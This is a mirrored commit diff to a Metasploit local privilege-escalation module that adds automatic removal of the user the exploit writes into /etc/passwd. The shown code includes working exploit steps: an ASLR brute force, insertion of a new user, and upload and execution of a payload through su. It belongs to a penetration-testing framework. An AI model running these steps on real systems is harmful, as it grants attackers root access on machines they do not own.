1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

Added automatic cleanup for exploit scripts that modify /etc/passwd

This commit is contained in:
Ashley Donaldson 2021-05-06 21:50:03 +10:00
parent 832813f057
commit 5dc8d0e684
No known key found for this signature in database
GPG Key ID: 70277622B54D3BCE
2 changed files with 62 additions and 8 deletions

View File

@ -62,6 +62,9 @@ The lengths to set as used by the manual target. See the "Manual Target" section
### NewUser
*This is an advanced option.*
For targets using the second technique (adding a user to /etc/passwd), this is the name of the user.
In the event of a successful exploit, the module remove that user from /etc/passwd as a cleanup measure.
If the exploit partially succeeds (that is, writes to /etc/passwd, but does not result in a shell), this
account will need to be manually cleaned up.
### NewPassword
*This is an advanced option.*

View File

@ -4,6 +4,7 @@
##
require 'digest/sha2'
require 'tempfile'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
@ -94,8 +95,8 @@ class MetasploitModule < Msf::Exploit::Local
deregister_options('COMPILE')
end
@session_created = false
@exploit_completed = false
# A password hash that we have confidence that we have inserted into /etc/passwd
@inserted_password_hash = nil
def get_versions
versions = {}
@ -169,12 +170,19 @@ class MetasploitModule < Msf::Exploit::Local
exploit_userspec(resolved_target)
end
@exploit_completed = true
do_post_exploit_checks
end
def cleanup
def do_post_exploit_checks
# Just wait a bit; this should come in real fast if it's going to though
4.times do |_i|
Rex.sleep(0.5)
# break if we get the shell
break if session_created?
end
# Now that everything's done, if we completed the exploit but didn't get a session, inform the user if there are other options available to them
if @exploit_completed && !@session_created && (target.name == 'Automatic')
if !session_created? && (target.name == 'Automatic') && !@inserted_password_hash
resolved_indices = get_automatic_targets
if resolved_indices.length > 1
print_status('')
@ -183,10 +191,53 @@ class MetasploitModule < Msf::Exploit::Local
print_status('Run `set target <id>` to select an alternative exploit script')
end
end
if @inserted_password_hash && !session_created?
print_warning('/etc/passwd overwritten, but no session created.')
print_warning('Manual cleanup of the new user in the /etc/passwd file is required.')
print_warning('Take note of the username and password above - these should work to manually escalate privileges.')
end
end
def on_new_session(_session)
@session_created = true
def on_new_session(new_session)
super
# userspec exploits edited /etc/passwd; now that we have a root shell, we can clean that up
if @inserted_password_hash
# We added a line to /etc/passwd
print_status('Cleaning up /etc/passwd')
tf = Tempfile.new('meterp')
tf_out = Tempfile.new('meterp')
temp_path = tf.path
new_session.fs.file.download_file(temp_path, '/etc/passwd')
pw = @inserted_password_hash.to_s
begin
f_in = File.open(temp_path, 'rb')
f_out = File.open(tf_out.path, 'wb')
f_in.each_line do |line|
unless line.include?(pw)
f_out.write(line)
end
end
ensure
f_out.close
f_in.close
end
new_session.fs.file.upload_file('/etc/passwd', tf_out.path)
begin
::File.delete(temp_path)
rescue StandardError
nil
end
begin
::File.delete(tf_out.path)
rescue StandardError
nil
end
end
end
def exploit_nss(resolved_target)
@ -251,13 +302,13 @@ class MetasploitModule < Msf::Exploit::Local
print_status('Brute forcing ASLR (can take several minutes)...')
output = cmd_exec(cmd, nil, 600)
if /Success at/ =~ output
@inserted_password_hash = password_hash
print_good("Success! Created new user #{new_user} with password #{new_password}")
elf_name = rand_text_alphanumeric(5..10)
uploaded_path = "#{path}/#{elf_name}"
upload(uploaded_path, generate_payload_exe)
chmod(uploaded_path, 0o555)
cmd_exec("/bin/bash -c \"echo #{new_password} | su #{new_user} -c #{uploaded_path}&\"")
print_warning('This exploit requires manual cleanup of the new user in the /etc/passwd file')
elsif /Brute force failed/ =~ output
print_error('Brute force failed. This can occur 2% of the time even when vulnerable.')
else